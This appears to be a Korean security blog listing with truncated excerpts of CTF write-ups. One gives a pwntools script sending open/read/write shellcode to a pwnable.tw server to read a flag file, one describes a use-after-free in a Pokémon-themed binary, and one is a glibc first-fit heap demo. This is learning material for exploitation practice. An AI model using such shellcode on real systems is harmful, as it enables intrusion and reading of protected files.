옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다. 12345678910111213from pwn import * p = remote('chall.pwnable.tw',10001) payload=asm(shellcraft.open("/home/orw/flag"))payload+=asm(shellcraft.read("eax","esp",0x100))payload+=asm(shellcraft.write(1,"esp",0x100)) p.sendline(payload) p.recvuntil("shellcode:")print p.recvline() Colored by Color Scriptercs 이렇게 간단하다. 간단히 설명하면 open으로..
대충 바이너리의 동작은 포켓몬을 잡고, 관리하는 동작을 하는 바이너리이다. 메뉴가 이렇게 5개로 구성이 되고 1번 메뉴에서 풀숲으로 들어가 포켓몬을 잡을 수 있다. 1번 메뉴 내부의 함수로 들어가면 이렇게 나오는데 넘겨지는 인자에 따라 포켓몬 정보를 가지고 fight 함수를 실행한다. (인자가 1이면 charizard, 2이면 kakuna) fight 함수에서는 1,2,3번 메뉴가 있는데 1번은 공격, 2번은 포켓볼 던지기, 3번은 도망치기 이다. 이렇게 포켓몬을 잡을 수 있는데 이 부분은 fight 함수에서 포켓몬을 잡고 추가할 때 인벤토리가 다 차있을 경우에 예외처리를 해주는 부분이다. 그런데 choose pokemon으로 포켓몬을 선택한 후 해당 포켓몬을 free 하고 그 위치에 잡은 포켓몬을 대입..
first_fit.c1234567891011121314151617181920212223242526272829303132333435#include #include #include int main(){ fprintf(stderr, "이 파일은 공격에대한 증명을 하지는 않지만, glibc allocator의 특성을 보여줍니다.\n"); fprintf(stderr, "glibc는 free chunk를 선택하는데 first-fit 알고리즘을 사용합니다.\n"); fprintf(stderr, "만약 chunk가 free되고 충분이 그 크기가 크면, malloc은 이 chunk를 선택합니다.\n"); fprintf(stderr, "이것은 use-after-free 공격 상황이 될 수 있습니다.\n"); fprintf..